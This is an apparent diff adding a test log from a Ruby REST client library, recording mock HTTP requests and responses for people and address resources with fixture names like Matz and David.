+b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>David</name>
+  <id type="integer">2</id>
+</person>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>David</name>
+  <id type="integer">2</id>
+</person>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </person>
+  <person>
+    <name>David</name>
+    <id type="integer">2</id>
+  </person>
+</people>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <age type="integer">25</age>
+  <name>Rick</name>
+</person>
+b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </person>
+  <person>
+    <name>David</name>
+    <id type="integer">2</id>
+  </person>
+</people>
+b 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>David</name>
+  <id type="integer">2</id>
+</person>
+b 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<addresses type="array">
+  <address>
+    <street>12345 Street</street>
+    <id type="integer">1</id>
+  </address>
+</addresses>
+b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0b 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (b 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (b 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </person>
+  <person>
+    <name>David</name>
+    <id type="integer">2</id>
+  </person>
+</people>
+b 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people-empty-elements type="array"/>
+b 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people-single-elements type="array">
+  <people-single-element>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </people-single-element>
+</people-single-elements>
+b 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>David</name>
+  <id type="integer">2</id>
+</person>
+b 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (b 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (keyvalueb 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0b 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </person>
+</people>
+b 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (b 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0b 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0b 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <other>other</other>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <zip>27519</zip>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0b 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Ryan</name>
+</person>
+b 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+</address>
+b 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </person>
+</people>
+b 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 ([{"name": "Matz", "id": 1}, {"name": "David", "id": 2}]b 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<records type="array">
+  <record>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </record>
+  <record>
+    <name>David</name>
+    <id type="integer">2</id>
+  </record>
+</records>
+b 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 ([{"name": "David", "id": 2}]b 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<records type="array">
+  <record>
+    <name>David</name>
+    <id type="integer">2</id>
+  </record>
+</records>
+b 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 ({"name": "David", "id": 2}b 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 ({"name": "David", "id": 2}b 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<hash>
+  <name>David</name>
+  <id type="integer">2</id>
+</hash>
+b 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<hash>
+  <name>David</name>
+  <id type="integer">2</id>
+</hash>
+b 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 ({"name": "Ryan"}b 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (<?xml version="1.0" encoding="UTF-8"?>
+<hash>
+  <name>Ryan</name>
+</hash>
+b 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 ({"name": "David", "id": 2}b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<hash>
+  <name>David</name>
+  <id type="integer">2</id>
+</hash>
+b 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
